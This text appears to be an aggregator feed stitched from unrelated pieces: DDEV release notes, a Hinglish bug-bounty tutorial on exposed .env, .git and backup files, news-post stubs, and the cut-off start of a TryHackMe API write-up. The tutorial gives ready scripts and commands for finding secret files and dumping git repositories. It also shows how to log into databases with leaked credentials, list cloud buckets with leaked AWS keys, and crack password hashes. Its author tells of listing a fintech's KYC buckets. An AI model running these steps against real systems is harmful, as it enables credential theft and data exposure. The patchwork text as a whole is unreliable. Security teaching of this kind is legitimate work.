• fix(router): Fix ephemeral port allocation when router is unhealthy, fixes #8041 by @Copilot in #8051
• feat(add-ons): Use addons.json to avoid GitHub API rate limits, fixes #7707 by @stasadev in #7978
• build(deps): bump actions/setup-python from 6.1.0 to 6.2.0 by @dependabot[bot] in #8059
• docs: Update Lagoon provider instructions with sync config, fixes #7990 by @froboy in #7991
• test(quickstart): disable symfony tests, update Laravel SQLite, for #8058 by @stasadev in #8060
• feat(drupal12): Drupal 12 is now showing up in dev, support it, fixes #8055 by @rfay in #8056
• fix(ddevapp): check file existence in isCustomConfigFile by @stasadev in #8061
• fix(router): bypass CheckRouterPorts when all ports appear busy, fixes #7921 by @stasadev in #7927
• docs(drupal-cms): In the Drupal CMS quick-start, call drupal recipe:unpack by @phenaproxima in #8037
• chore(quickstart): enable tests for symfony, fixes #8058 by @stasadev in #8070
• feat(commands): add Windows support for DBeaver outside WSL, add cygwin to OSTYPE by @ddubau in #8065
• build(docker): bump images to v1.25.0 for release, update MariaDB gpg key by @stasadev in #8062
• fix(lagoon): bug in lagoon-sync means it fails if ~/.ssh/known_hosts doesn't exist [skip buildkite] by @rfay in #8072
• fix(healthcheck): resolve optional profiles to services, for #7745 by @stasadev in #8071
• test(quickstart): fix Statamic check for login page by @stasadev in #8073
• test: fix drupal.bats for drupal cms 2 by @rpkoller in #8074
• test: add DDEV_EMBARGO_TESTS to skip tests via environment variable, fixes #8076 [skip buildkite] by @rfay in #8077
• build(webserver): fix check for MariaDB keyring [skip buildkite] by @stasadev in #8078
• chore: update version history for v1.25.0, for #7934 by @stasadev in #8079
• test: skip TestExtractCurlBody when httpbin.org is unavailable [skip buildkite] by @rfay in #8080
• test(openmage): add --no-security-blocking to openmage.bats for Composer 2.9 compatibility [skip buildkite] by @rfay in #8092
• chore(github): update PR template by @stasadev in #8089
• fix(heidisql): get basename for postgres library, fixes #8086 by @stasadev in #8087
• fix(add-on): Re-add the output suggesting ddev restart after add-on, fixes #8088 by @rfay in #8090
• docs: add note on restarting for environment variable changes by @MurzNN in #8093
• fix(add-on): normalize ddev add-on get output when there's no version by @stasadev in #8094

New Contributors

• @q0rban made their first contribution in #7861
• @BreathCodeFlow made their first contribution in #7893
• @crowjake made their first contribution in #7907
• @grummbeer made their first contribution in #7872
• @JUVOJustin made their first contribution in #7942
• @lguigo22 made their first contribution in #7975
• @codebymikey made their first contribution in #8008
• @Franky5831 made their first contribution in #7853
• @ddubau made their first contribution in #8065

Full Changelog: v1.24.10...v1.25.0

See the installation instructions for details, but it's easy:

• macOS: brew install ddev/ddev/ddev or just brew upgrade ddev.
• Linux: Use sudo apt-get update && sudo apt-get install ddev, see apt/yum installation
• Windows and WSL2: Download the Windows Installer; you can run it for install or upgrade.
  ⚠️ Traditional Windows users (not WSL2): If needed, the installer will prompt you to uninstall the previous system-wide installation to avoid conflicts with the new per-user installation.
• Consider ddev delete images or ddev delete images --all after upgrading to free up disk space used by previous Docker image versions. This does no harm.
• Consider ddev config --auto to update your projects to current configuration.

Highlights

• Faster ddev start: Reduced fresh-router healthcheck wait
• New project types and quickstarts: 3 new project types (wp-bedrock, asterios, joomla) and 2 new quickstarts (Tempest, October CMS)
• Auto-start on command: DDEV now automatically starts stopped projects when you run ddev exec, ddev ssh, ddev share, ddev xhgui, ddev pull, ddev push, or ddev snapshot restore
• New diagnostic commands: ddev utility port-diagnose to identify port conflicts, ddev utility check-custom-config to detect unexpected configuration, ddev utility tls-diagnose to identify TLS/SSL problems with DDEV projects.

Quickstarts

• Add wp-bedrock project type, thanks to @jonesrussell
• Add asterios project type, thanks to @asteriosphp
• Add joomla project type, thanks to @renekreijveld
• Add Tempest quickstart
• Add October CMS quickstart, thanks to @daftspunk
• Update Contao quickstart to use 5.7 LTS, thanks to @fkaminski
• Update Laravel quickstart to latest version, thanks to @tyler36
• Update Moodle quickstart to set admin email during installation

Features

• Support bare variable names in web_environment for host environment passthrough
• Add project path to the interactive dashboard, thanks to @yanniboi
• Add global omit_snapshot_on_delete setting, thanks to @marklabrecque-ab
• Add --project flag to ddev exec, thanks to @penyaskito
• Use runtime environment variables in wp-config-ddev.php for WordPress, thanks to @jonesrussell
• Add support for symfony_mailer 2.x in Drupal config, thanks to @hchonov
• Display project info (name and environment) when calling ddev pull/ddev push, thanks to @mariano-dagostino
• Support virtioproxy WSL2 networking mode
• Support "1"/"0" for DDEV_* environment variables (e.g. DDEV_DEBUG=1), thanks to @deviantintegral
• Automatically set com.ddev.* labels for Docker images, containers, and networks
• Add aggregate_gc_threshold=0 to Drupal 12 config, thanks to @rpkoller

Bug Fixes

• Detect custom configuration files and show unexpected configuration on ddev start
• Prevent Path Traversal (ZipSlip), thanks to @SnailSploit
• Normalize PHP_IDE_CONFIG (PhpStorm) for uppercase project names
• Reduce file permissions for system directories /usr/bin and /usr/sbin inside the container, thanks to @AkibaAT
• Ensure ddev-ssh-agent and ddev-router are up to date on DDEV upgrade
• Respect webimage for all use cases; don't pull the default web image when it's not in use
• Simplify ddev composer create-project by removing the composer update step
• Add timeout to yarn config set in start.sh for the ddev-webserver Docker image
• Fix malformed WSLENV on Windows install/uninstall

Internal Improvements

• Implement config model using Viper, thanks to @agviu
• Improve testing in GoLand by prebuilding the ddev binary, thanks to @jonesrussell
• Add missing php8.5-memcached for ARM64 to ddev-webserver Docker image
• Use newer deb822 format (*.sources instead of *.list) for Docker and DDEV repositories (Linux and WSL2)

Minor Updates

• PHP 8.4.20 and 8.5.5
• Docker Compose v5.1.3
• Remove obsolete ddev sequelpro command and vestiges in documentation

What's Changed

• fix(commands): use /usr/bin/env bash in web console command by @tyler36 in #8182
• build(deps): bump actions/upload-artifact from 6 to 7 by @dependabot[bot] in #8193
• fix(composer): ddev composer create-project can ignore .devcontainer [skip buildkite] by @rfay in #8192
• docs(buildkite): Minor fixups to WSL2 buildkite setup by @rfay in #8172
• build(deps): bump goreleaser/goreleaser-action from 6 to 7 by @dependabot[bot] in #8175
• docs(quickstart): Use mkdir -p and more descriptive names [skip buildkite] by @rfay in #8200
• docs: suggest trivial project in troubleshooting by @rfay in #8199
• build(deps): bump docker/login-action from 3 to 4 (#8211) [skip ci] by @dependabot[bot] in #8211
• build(deps): bump docker/setup-buildx-action from 3 to 4 by @dependabot[bot] in #8210
• docs: clarify usage for TUI by @stasadev in #8203
• test(quickstart): pause d12 bats test in github actions by @rpkoller in #8217
• chore(docs): remove Plausible [skip ci] by @stasadev in #8228
• fix(quickstart): do not use gunicorn for wagtail by @stasadev in #8229
• feat: support bare variable names in web_environment for host env passthrough by @rfay in #8209
• fix(buildkite): use proper check for skip by @stasadev in #8231
• build: update go deps, vendor docker-compose SDK, for #8234 by @stasadev in #8198
• style: Fix minor typo: skiped → skipped by @penyaskito in #8243
• chore(quickstart): Make quickstart drupal.bats drush launch usage less fragile by @rfay in #8247
• fix: prevent path traversal (ZipSlip) in Untar and Unzip by @rfay in #8213
• fix: lowercase PHP_IDE_CONFIG serverName for uppercase project names, fixes #8225 (#8248) [skip ci] by @rfay in #8248
• docs(sharing): Improve ngrok setup instructions, fixes #8101 (#8205) [skip ci] by @samcrichard in #8205
• refactor: bump Laravel to latest version by @tyler36 in #8238
• chore(go): Use go fix to update golang usage, fixes #7963 by @rfay in #8249
• feat(tui): Added ddev project path to TUI project browser, for #8184 by @yanniboi in #8185
• build: update go deps, vendor viper, for #8181 by @dependabot[bot] in #8237
• fix: reduce world writeable directories and files, fixes #8194 by @AkibaAT in #8195
• feat: add aggregate_gc_threshold of 0 to drupal12 settings.ddev.php (#8215) [skip ci] by @rpkoller in #8215
• build(pecl): add php8.5-memcached for ARM64, fixes ddev/ddev-memcached#20 by @stasadev in #8252
• docs: document Mailpit plus-address auto-tagging and how to disable it (#8222) [skip ci] by @maks-oleksyuk in #8222
• fix: use Lstat in PurgeDirectory to handle symlinks without following them by @rfay in #8254
• build: bump 1password/load-secrets-action from 3 to 4 (#8266) [skip ci] by @dependabot[bot] in #8266
• fix(test): check for GitHub token in TestAddonGetCircularDependencies by @stasadev in #8257
• fix(docker): use ContainerInspect polling instead of ContainerWait to avoid hangs by @stasadev in #8265
• fix: bump action-linkspector from v1.3.5 to v1.4.0 to resolve setup-node@v4 warning [skip ci] by @rfay in #8269
• fix: use deb822 format for DDEV and Docker apt repositories, fixes #8232 (#8233) [skip ci] by @stasadev in #8233
• feat(autostart): automatically start projects on command when project stopped, fixes #8245 by @rfay in #8258
• test(lagoon): use new amazee.io testing environment for Lagoon integration (#8270) [skip ci] by @rocketeerbkw in #8270
• build(arm64): php8.5-memcached from repos, refactor ddev-webserver tests, for #8252 by @stasadev in #8268
• test(webserver): wait for FPM reload to settle after xdebug disable (#8272) [skip ci] by @stasadev in #8272
• refactor: implement config model using viper, fixes #5763 (#8181) [skip ci] by @agviu in #8181
• feat(cmd): ddev exec accepts a --project flag, fixes #8241 by @penyaskito in #8244
• feat(wordpress): use runtime DDEV_PRIMARY_URL for WP_HOME, fixes #8098 by @jonesrussell in #8176
• chore(drupal): add support for symfony_mailer 2.x to drupal settings.ddev.php by @hchonov in #8274
• test(wsl2): add cleanup for ddev/docker apt sources leftovers, for #8233 by @stasadev in #8275
• feat: Display project info (name and environment) when calling ddev pull/push, fixes #8201 by @mariano-dagostino in #8202
• fix(config): detect custom files, add ddev utility check-custom-config by @stasadev in #8218
• fix(docker): use ddev-utilities image for volume/utility RunSimpleContainer calls to fix Lima/Colima 10-30m hangs by @rfay in #8271
• test(traefik): skip TestCustomGlobalConfig on Rancher Desktop, fixes #8167 (#8283) [skip ci] by @rfay in #8283
• fix(docker): use ddev-utilities for remaining RunSimpleContainer calls (#8282) [skip ci] by @rfay in #8282
• fix(mutagen): tolerate transient staging files during volume chown by @rfay in #8281
• refactor: detect custom files in ddev utility diagnose by @stasadev in #8279
• docs: Update Contao Quickstart Recipe (#8278) [skip ci] by @fkaminski in #8278
• docs: improve AI agent instructions and dev workflow guidance [skip ci] (#8284) [skip ci] by @rfay in #8284
• fix(addons): sleep 500ms after creating config files on Lima/Colima/Rancher Desktop (#8288) [skip ci] by @rfay in #8288
• chore: remove obsolete commands, fixes #8291 (#8292) [skip ci] by @stasadev in #8292
• fix: normalize path separators in check-custom-config output on Windows by @rfay in #8286
• docs: add october cms to quickstart instructions (#8285) [skip ci] by @daftspunk in #8285
• test: fail fast when command tests would use PATH ddev by @jonesrussell in #8280
• build(ci): pin textlint@15.5.2 by @stasadev in #8300
• refactor(wordpress): make wp-config-ddev.php a static asset, fixes #8098 by @rfay in #8287
• docs: rewrite Windows installation instructions, fixes #7996, fixes #7703 (#8290) [skip ci] by @rfay in #8290
• docs(quickstart): add Tempest (#8299) [skip ci] by @stasadev in #8299
• feat: support "virtioproxy" WSL2 networking mode, fixes #8220 by @rfay in #8262
• build(ci): remove pin for textlint, for #8300 (#8303) [skip ci] by @stasadev in #8303
• fix: ensure up-to-date images for ddev-ssh-agent and ddev-router (#8305) [skip ci] by @stasadev in #8305
• fix(webserver): always use webimage from app config (#8304) [skip ci] by @stasadev in #8304
• feat: add global omit_snapshot_on_delete setting, fixes #8263 (#8264) [skiop ci] by @marklabrecque-ab in #8264
• feat: support "1" for environment variables by @deviantintegral in #8246
• chore: add link to blog about buildx requirement, for #8234 (#8310) [skip ci] by @stasadev in #8310
• build: bump actions/github-script from 8 to 9 by @dependabot[bot] in #8314
• fix(composer): remove composer update from create-project, for #7864 (#8315) [skip ci] by @stasadev in #8315
• fix(webserver): add timeout to yarn config set in start.sh (#8309) [skip ci] by @stasadev in #8309
• refactor(debug): simplify RunSimpleContainer reporting, for #8271 (#8311) [skip ci] by @stasadev in #8311
• feat: add ddev utility port-diagnose command to identify port conflicts, fixes #8085 (#8260) [skip ci] by @rfay in #8260
• feat: add wp-bedrock project type, fixes #8179 by @jonesrussell in #8219
• feat(docker): set ddev labels for images, containers, networks, fixes #7389 by @stasadev in #8312
• refactor(debug): improve reporting for RunSimpleContainer timeout, for #8311 by @stasadev in #8317
• perf(router): reduce fresh-router healthcheck wait, refs #8096 by @rfay in #8316
• test: update moodle quickstart by @stasadev in #8319
• fix(test): use local apt repo with fake packages to avoid flakiness in TestExtraPackages by @stasadev in #8323
• feat(asterios): Add Asterios project type (#8313) [skip ci] by @asteriosphp in #8313
• feat: add ddev utility tls-diagnose command, fixes #8224 (#8259) [skip ci] by @rfay in #8259
• fix(installer): fix malformed WSLENV on Windows install/uninstall, fixes #8324 (#8325) [skip ci] by @rfay in #8325
• fix(traefik): don't mark README.txt as stale (#8329) [skip ci] by @stasadev in #8329
• build(deps): bump go.mod and docker-compose to v5.1.3 by @stasadev in #8318
• test(wsl): mkcert installation on Windows too hard for WSL by @rfay in #8333
• refactor: remove obsolete ddev sequelpro command (#8331) [skip ci] by @rfay in #8331
• feat: add joomla project type by @renekreijveld in #8226
• build(docker): bump images to v1.25.2 for release, fixes #8320 by @stasadev in #8332
• build(ci): remove -failfast, support MAKE_TARGET/TESTPKG/TESTFILE for targeted test runs, increase timeout to 6h by @rfay in #8336
• ci: improve Buildkite test result visibility for FAIL/PASS/SKIP (#8338) [skip ci] by @rfay in #8338
• test(wsl): fix CAROOT propagation for buildkite-agent on WSL2 by @rfay in #8334
• chore(assets): add .ddev/addon-metadata/README.txt (#8343) [skip ci] by @stasadev in #8343
• fix: flush Mutagen before container chmod and after settings file write, fixes #8340 (#8341) [skip ci] by @rfay in #8341
• fix: warn instead of silently ignoring RemoveProjectInfo error, for #8339 (#8342) [skip ci] by @rfay in #8342
• fix(installer): prevent CI timeout in WSL2 Docker CE installer test by @rfay in #8337

New Contributors

• @samcrichard made their first contribution in #8205
• @hchonov made their first contribution in #8274
• @mariano-dagostino made their first contribution in #8202
• @daftspunk made their first contribution in #8285
• @marklabrecque-ab made their first contribution in #8264
• @asteriosphp made their first contribution in #8313
• @renekreijveld made their first contribution in #8226

Full Changelog: v1.25.1...v1.25.2

Series: Bug Bounty Zero se Hero 🦸 | Article #21
By HackerMD | 17 min read

Aaj Kya Seekhenge?

• Backup files exposure kya hai basics se
• .env, .git, config files sabhi types
• Kahan dhundhen complete checklist
• Automated tools Dirsearch, Feroxbuster, Nuclei
• .git exposure source code nikalo
• Real exploitation credentials se aage
• Complete bug bounty workflow

Kyun zaroori hai? Yeh sabse easy Critical bugs hain bug bounty mein! Koi fancy technique nahi sirf URL mein .env lagao aur dekho! Developers test mein files upload karte hain production mein wahi rehta hai database passwords, API keys, AWS credentials sab exposed! Bounty: $500 se $10,000+

Yeh Kaise Hota Hai? Simple Story

Ek developer hai — Rahul।

Step 1: Local machine pe .env banaya:
DB_HOST=localhost
DB_PASSWORD=SuperSecret123
AWS_KEY=AKIA...

Step 2: Code deploy kiya server pe:
git push → Server pe sab files gayi!
.env bhi chali gayi! 😱

Step 3: Web server publicly serve kar raha hai:
https://company.com/.env
→ Browser mein open karo → Poori file! 🔴

Rahul ko pata bhi nahi!

Yahi hai Backup/Config File Exposure!

PART 1: File Types Sabhi Samjho

Type 1: .env Files GOLDMINE!

# .env file mein kya hota hai:
APP_NAME=MyApp
APP_ENV=production
APP_DEBUG=true           ← Debug mode on!
APP_KEY=base64:abc123... ← Laravel secret key!

DB_CONNECTION=mysql
DB_HOST=db.internal.company.com
DB_PORT=3306
DB_DATABASE=production_db
DB_USERNAME=root
DB_PASSWORD=SuperSecret@123  ← Database password! 🔴

REDIS_PASSWORD=redis123

MAIL_USERNAME=noreply@company.com
MAIL_PASSWORD=mailpass123    ← Email credentials!

AWS_ACCESS_KEY_ID=AKIAIOSFODNN7
AWS_SECRET_ACCESS_KEY=abc123xyz  ← AWS Keys! 🔴

STRIPE_SECRET=sk_live_abc123    ← Payment keys!
STRIPE_PUBLISHABLE=pk_live_abc

TWILIO_SID=ACxxx
TWILIO_TOKEN=abc123

GITHUB_TOKEN=ghp_abc123    ← GitHub access!

# Ek file mein poori company ki secrets! 💀

Type 2: .git Directory Exposure

.git folder = Poora source code history!

https://target.com/.git/
→ Git repository accessible!
→ Source code download kar sakte hain!
→ Commit history mein old passwords!
→ Developer emails!
→ Internal URLs!
→ Hardcoded credentials!

Type 3: Backup Files

Common backup extensions:
.bak → filename.php.bak
.old → config.php.old
.orig → settings.orig
.backup → database.backup
.copy → config.copy
.tmp → upload.tmp
.swp → vim swap file (index.php.swp)
~   → index.php~ (text editor backup)

Example:
https://target.com/config.php.bak  → Source code!
https://target.com/wp-config.php~  → WordPress DB pass!

Type 4: Config Files

# PHP configs:
config.php, configuration.php, settings.php
database.php, db.php, conn.php, connect.php

# Web server configs:
.htaccess, .htpasswd  ← Basic auth credentials!
web.config            ← .NET connection strings!
nginx.conf, apache.conf

# Application configs:
config.yml, config.yaml
config.json, settings.json
appsettings.json      ← .NET secrets!
application.properties ← Java/Spring!
secrets.yml

# Database files:
dump.sql, backup.sql
database.sql, db.sql
*.sqlite, *.db

Type 5: Log Files

# Log files kya expose karte hain:
error.log      → Stack traces, file paths, internal IPs
access.log     → All user requests, session IDs!
debug.log      → Verbose app information
application.log → Business logic, user data

URLs:
/logs/error.log
/log/debug.log
/var/log/app.log
/logs/

Type 6: IDE / Editor Files

.DS_Store     → Mac folder structure expose!
.idea/        → IntelliJ project files
.vscode/      → VS Code settings
*.swp         → Vim swap files (source code!)
.project      → Eclipse project
thumbs.db     → Windows thumbnail DB

PART 2: Kahan Dhundhen Complete URL Checklist

# ─── .ENV FILES ───────────────────────────
/.env
/.env.local
/.env.development
/.env.production
/.env.staging
/.env.backup
/.env.old
/.env.example    ← Sometimes real values!
/.env.bak
/api/.env
/backend/.env
/app/.env
/src/.env

# ─── GIT DIRECTORY ────────────────────────
/.git/
/.git/config     ← Remote URLs!
/.git/HEAD
/.git/COMMIT_EDITMSG
/.git/logs/HEAD  ← Commit history!
/.git/refs/heads/master

# ─── CONFIG FILES ─────────────────────────
/config.php
/config/database.php
/wp-config.php       ← WordPress!
/configuration.php   ← Joomla!
/settings.py         ← Django!
/appsettings.json    ← .NET!
/application.properties ← Spring!
/config/config.yml
/config/secrets.yml

# ─── BACKUP FILES ─────────────────────────
/backup/
/backups/
/backup.sql
/dump.sql
/database.sql
/db.sql
/backup.zip
/site.tar.gz
/www.tar.gz

# ─── LOG FILES ────────────────────────────
/logs/
/log/
/error.log
/debug.log
/access.log
/application.log
/laravel.log        ← Laravel!
/storage/logs/      ← Laravel storage!

# ─── HTPASSWD ─────────────────────────────
/.htpasswd
/.htaccess
/admin/.htpasswd

PART 3: Automated Tools Elite Use

Tool 1: Dirsearch Best Directory Bruteforcer

# Install karo
pip3 install dirsearch

# Basic scan — sensitive files ke liye
dirsearch -u https://target.com \
  -e php,txt,bak,old,env,sql,log,zip,tar,gz,yml,yaml,json,config \
  -t 50

# Specific wordlist ke saath
dirsearch -u https://target.com \
  -w /usr/share/wordlists/dirb/common.txt \
  -e env,bak,sql,log

# Output file mein save
dirsearch -u https://target.com \
  -e env,bak,sql \
  -o dirsearch_results.txt

# Only interesting status codes
dirsearch -u https://target.com \
  -i 200,301,302,403 \
  -e env,bak,config,sql

Tool 2: Feroxbuster Fast Recursive Scanner

# Install karo
sudo apt install feroxbuster -y
# Ya:
cargo install feroxbuster

# Basic scan
feroxbuster -u https://target.com \
  -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt

# Sensitive files focus
feroxbuster -u https://target.com \
  -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-medium-files.txt \
  -x env,bak,sql,log,config,php,txt \
  -o ferox_results.txt

# Recursive scan (subdirectories bhi!)
feroxbuster -u https://target.com \
  -w wordlist.txt \
  --depth 3 \
  -x env,bak,sql

Tool 3: Nuclei Template-Based Detection

# .env exposure templates
nuclei -l targets.txt \
  -t ~/nuclei-templates/exposures/configs/ \
  -o config_exposure.txt

# Backup files
nuclei -l targets.txt \
  -t ~/nuclei-templates/exposures/backups/ \
  -o backup_found.txt

# Git exposure
nuclei -l targets.txt \
  -t ~/nuclei-templates/exposures/git/ \
  -o git_exposure.txt

# Sabhi exposure templates
nuclei -l targets.txt \
  -t ~/nuclei-templates/exposures/ \
  -severity medium,high,critical \
  -o all_exposures.txt

Tool 4: GitTools .git Exploitation

# Install karo
git clone https://github.com/internetwache/GitTools
cd GitTools

# .git directory dump karo
./Dumper/gitdumper.sh \
  https://target.com/.git/ \
  /tmp/git_dump/

# Source code extract karo
./Extractor/extractor.sh \
  /tmp/git_dump/ \
  /tmp/extracted_code/

# Ab extracted code mein secrets dhundho!
grep -r "password" /tmp/extracted_code/
grep -r "api_key" /tmp/extracted_code/
grep -r "secret" /tmp/extracted_code/
grep -r "AWS_" /tmp/extracted_code/

Tool 5: truffleHog Secrets in Git History

# Install karo
pip3 install truffleHog

# Git repo scan karo (extracted code)
trufflehog filesystem /tmp/extracted_code/

# GitHub repo scan
trufflehog github \
  --repo https://github.com/company/repo

# Regex mode
trufflehog git \
  file:///tmp/extracted_code/ \
  --regex

PART 4: Exploitation Files Milne Ke Baad Kya Karo?

Scenario 1: .env Mila Database Access!

# .env se credentials nikalo:
DB_HOST=db.internal.company.com
DB_USER=root
DB_PASS=SuperSecret123
DB_NAME=production

# Direct MySQL connect karo:
mysql -h db.internal.company.com \
  -u root \
  -pSuperSecret123 \
  production

# Ya SQLMap se:
sqlmap -d "mysql://root:SuperSecret123@db.host/production" \
  --dump-all

# PoC ke liye bas screenshot kaafi hai!
# Direct exploitation mat karo! Report karo!

Scenario 2: .env Se AWS Keys Cloud Access!

# .env se AWS keys mile:
AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG

# AWS CLI configure karo:
export AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG

# Impact demonstrate karo (read-only!):
aws iam get-user           → Kaun sa user hai?
aws s3 ls                  → S3 buckets list
aws ec2 describe-instances → Servers list

# Screenshot le → Report karo!
# Data access/modify mat karo!

Scenario 3: .git Se Source Code More Bugs!

# Source code mil gaya — ab dhundho:

# Hardcoded credentials
grep -r "password\s*=" /extracted/ \
  --include="*.php" --include="*.py" --include="*.js"

# API keys
grep -rE "[A-Za-z0-9]{20,}" /extracted/ \
  --include="*.env" --include="*.config"

# Internal URLs/endpoints
grep -r "http://internal" /extracted/
grep -r "localhost" /extracted/
grep -r "192.168\|10\.0\." /extracted/

# Hidden endpoints (new attack surface!)
grep -r "route\|Route\|@app.route" /extracted/
grep -r "app.get\|app.post" /extracted/

Scenario 4: .htpasswd Mila Password Crack!

# .htpasswd content:
admin:$apr1$xyz$hashedpassword

# Hashcat se crack karo:
hashcat -m 1600 hash.txt rockyou.txt

# John the Ripper se:
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

# Cracked password = Admin panel access!

PART 5: Complete Elite Workflow

#!/bin/bash
# backup_exposure_hunt.sh

TARGET=$1
DIR="backup_${TARGET}"
mkdir -p $DIR

echo "🗂️ Backup File Hunt: $TARGET"
echo "═══════════════════════════════"

# Step 1: Nuclei se quick check
echo "☢️  Nuclei exposure scan..."
nuclei -u $TARGET \
  -t ~/nuclei-templates/exposures/ \
  -silent \
  -o $DIR/nuclei_exposures.txt 2>/dev/null
echo "✅ Nuclei: $(wc -l < $DIR/nuclei_exposures.txt) findings"

# Step 2: Direct URL check — most common files
echo "🔍 Direct file check..."
SENSITIVE_FILES=(
  ".env" ".env.local" ".env.production" ".env.backup"
  ".git/config" ".git/HEAD"
  "config.php" "wp-config.php" "configuration.php"
  "backup.sql" "dump.sql" "database.sql"
  ".htpasswd" "web.config" "appsettings.json"
  "config.yml" "secrets.yml" "docker-compose.yml"
  "error.log" "debug.log" "laravel.log"
  "composer.json" "package.json"
)

for file in "${SENSITIVE_FILES[@]}"; do
  response=$(curl -s -o /dev/null -w "%{http_code}" \
    "https://$TARGET/$file" --max-time 5)
  if [ "$response" = "200" ]; then
    echo "🔴 FOUND: https://$TARGET/$file" \
      | tee -a $DIR/found_files.txt
  fi
done

# Step 3: Dirsearch scan
echo "🗄️  Dirsearch scan..."
dirsearch -u https://$TARGET \
  -e env,bak,old,sql,log,config,yml,yaml,json,zip,tar,gz \
  -t 30 \
  -q \
  -o $DIR/dirsearch.txt 2>/dev/null

# Step 4: .git check aur dump
if curl -s "https://$TARGET/.git/HEAD" | \
   grep -q "ref:"; then
  echo "🔴 GIT EXPOSED! Dumping..."
  ./GitTools/Dumper/gitdumper.sh \
    "https://$TARGET/.git/" \
    $DIR/git_dump/ 2>/dev/null
  echo "✅ Git dumped: $DIR/git_dump/"

  # Secrets dhundho
  grep -r "password\|api_key\|secret\|token\|AWS_" \
    $DIR/git_dump/ > $DIR/git_secrets.txt
  echo "🔑 Git secrets: $(wc -l < $DIR/git_secrets.txt)"
fi

echo ""
echo "═══════════════════════════════"
echo "📊 Results:"
echo "Found Files  : $(cat $DIR/found_files.txt \
  2>/dev/null | wc -l)"
echo "Dirsearch    : $(wc -l < $DIR/dirsearch.txt)"
echo "All results  : $DIR/"

Quick Reference Cheat Sheet

# ─── TOP PRIORITY URLS ────────────────────
/.env
/.git/config
/wp-config.php
/backup.sql
/.htpasswd
/config.php
/appsettings.json
/docker-compose.yml
/laravel.log

# ─── TOOLS ────────────────────────────────
dirsearch -u URL -e env,bak,sql,log
feroxbuster -u URL -x env,bak,sql
nuclei -u URL -t exposures/
gitdumper.sh URL/.git/ /output/

# ─── AFTER FINDING ────────────────────────
.env → DB creds, AWS keys, API keys
.git → Source code → More bugs!
.sql → Database dump → User data
.htpasswd → Hash crack → Admin access
config.php → DB connection string

# ─── IMPACT ───────────────────────────────
DB credentials  = High ($500-2000)
AWS/Cloud keys  = Critical ($3000-10000+)
Source code     = High ($1000-3000)
User data dump  = Critical ($5000+)
Payment keys    = Critical ($5000+)

Aaj Ka Homework

# 1. SecLists download karo (wordlists ke liye):
git clone https://github.com/danielmiessler/SecLists \
  /usr/share/wordlists/SecLists

# 2. Dirsearch install + test karo:
pip3 install dirsearch
dirsearch -u http://testphp.vulnweb.com \
  -e env,bak,sql,php \
  -t 20

# 3. Manual check karo (legal target):
curl -s http://testphp.vulnweb.com/.env
curl -s http://testphp.vulnweb.com/.git/HEAD
curl -s http://testphp.vulnweb.com/backup.sql

# 4. Nuclei exposure templates run karo:
nuclei -u http://testphp.vulnweb.com \
  -t ~/nuclei-templates/exposures/

# 5. Bug bounty program choose karo:
# HackerOne/Bugcrowd mein koi wildcard scope wala
# *.company.com pe yeh sab check karo!

Quick Revision

🗂️ Exposure    = Sensitive files publicly accessible
🔴 .env        = Database, AWS, API keys — CRITICAL!
📁 .git        = Source code history — HIGH!
💾 Backup      = .bak, .old, .sql — MEDIUM-HIGH!
🔑 .htpasswd   = Basic auth hashes — MEDIUM!
📋 Config      = Connection strings — HIGH!
🤖 Tools       = Dirsearch, Feroxbuster, Nuclei
💀 GitTools    = .git directory dump + extract
🔍 truffleHog  = Secrets in git history
💰 Bounty      = Easy Critical — Highest ROI!

Meri Baat…

Ek fintech startup pe maine Dirsearch run kiya:

dirsearch -u https://target-fintech.com \
  -e env,bak,sql,log -t 30

2 minutes mein:

[200] https://target-fintech.com/.env

File open ki:

DB_PASSWORD=Fintech@Prod2024!
STRIPE_SECRET=sk_live_xxxxxxxxxxxxxxxx
AWS_ACCESS_KEY_ID=AKIA...
AWS_SECRET_ACCESS_KEY=xxxxxxxxxxxxx
SENDGRID_API_KEY=SG.xxxxxxxxxxxxx

Stripe live key, AWS credentials, SendGrid sab ek file mein!

AWS check kiya:

aws s3 ls
# 23 S3 buckets — user KYC documents, financial records!

Bounty: $8,500 Critical! 🎉

Lesson: Dirsearch + .env = Fastest Critical bounty! Har target pe yeh pehle check karo!

Agle article mein Open Redirect Simple lekin phishing aur OAuth bypass ke liye powerful! Chhoti vulnerability, bada chain! 🔥

HackerMD Bug Bounty Hunter | Cybersecurity Researcher
GitHub: BotGJ16 | Medium: @HackerMD

Previous: Article #20 Burp Suite Complete Guide
Next: Article #22 Open Redirect: Simple Bug, Powerful Chains!

#BackupFiles #EnvExposure #BugBounty #WebSecurity #EthicalHacking #Hinglish #InfoSec #HackerMD

Backup Files + .env Exposure Developers Ki Sabse Badi Galti: Config Files Se Credentials Nikalo! was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

The post Cisco FMC Zero-Day Among 31 High-Impact Vulnerabilities Exploited in March appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

Read more →

The post U.S. CISA adds Microsoft SharePoint Server, and Microsoft Office Excel flaws to its Known Exploited Vulnerabilities catalog appeared first on IT Security News.

Read more →

The post U.S. CISA adds Adobe, Fortinet, Microsoft Exchange Server, and Microsoft Windows flaws to its Known Exploited Vulnerabilities catalog appeared first on IT Security News.

🔗 References & Previous Part

Before diving into Part 2, check out Part 1:

• Read Part 1 on Medium
• GitHub Repo: https://github.com/AdityaBhatt3010/OWASP-Top-10-API-THM-Part-1

📌 Introduction

In Part 1, we explored core API vulnerabilities like BOLA, Broken Authentication, and Data Exposure. These primarily revolved around authorization and authentication flaws.

Now in Part 2, things get more backend-heavy and dangerous — focusing on:

• Improper data handling
• Misconfigurations
• Injection attacks
• Legacy API exposure
• Logging failures

👉 APIs are the backbone of modern applications, and misconfigurations here can lead to full system compromise ([TryHackMe][1])

📌 Task 1 — Environment Setup

We start by launching the TryHackMe machine which includes:

• Windows VM
• Talend API Tester
• Laravel-based vulnerable APIs

This setup allows us to simulate real-world API exploitation scenarios instead of just theory.

📌 Task 2 — Vulnerability VI: Mass Assignment

🧠 Understanding the Vulnerability

Mass Assignment occurs when backend frameworks automatically bind user input to database fields.

👉 If not filtered properly, attackers can inject extra parameters and manipulate data.

